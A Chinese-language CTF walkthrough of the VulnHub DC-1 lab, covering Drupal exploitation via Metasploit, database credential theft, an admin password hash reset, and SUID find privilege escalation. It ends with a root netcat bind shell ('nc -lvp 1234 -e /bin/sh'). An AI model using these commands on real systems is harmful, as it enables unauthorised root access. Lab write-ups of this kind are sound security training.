VulnHub DC-1靶机通关


Vulnhub DC-1靶机通关

下载地址:https://www.vulnhub.com/entry/dc-1,292/
安装靶场,通过工具查找ip地址

打开界面,发现是Drupal建站系统

查找该CMS系统是否存在历史漏洞,可以看到该CMS存在历史漏洞。

使用msf利用该漏洞,查找到历史漏洞,我使用的是2018年的漏洞

执行命令获得一个低权限的shell

使用python获得一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

查看当前目录,获得第一个flag,给我们提示:每个好的CMS都需要一个配置文件

Drupal的配置文件在/sites/default/settings.php
通过查看配置文件得到数据库的账号密码,连接数据库获取后台账号密码。这里查看到flag2提示:暴力和词典攻击不是获得访问权限的唯一方法(您将需要访问权限)。

选择users数据库,查看users表,得到后台的账号密码,但是密码被加密了,需要寻找一下加密方法

在当前目录下看到了密码加密的文件,尝试重置管理员密码

使用php scripts/password-hash.sh admin admin是要设置的密码

拿着这串hash密码去更新到数据库,重置成功,上面看到的密码已经是我重置好的
update users set pass = '$S$Dio6eaTZsXL5BwJVkVxH7v1QDAUB2YDt5.bmEz0KkdQIO6v.Ubru' where name = 'admin';

登录后台,在此处看到了flag3。根据提示可以使用suid提权
提示:特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容

查询拥有root用户权限的suid文件
find / -perm -u=s -type f 2>/dev/null

尝试是否能用root权限运行
/var/www/scripts$ /usr/bin/find test.script -exec whoami ;

Root提权,反弹shell
find test.script -exec nc -lvp 1234 -e /bin/sh ;
使用nc连接靶机的端口获取root权限

在home目录下获取flag4
提示:您可以使用相同的方法在根目录中查找或访问该标志吗?

最后在root目录下获取最终flag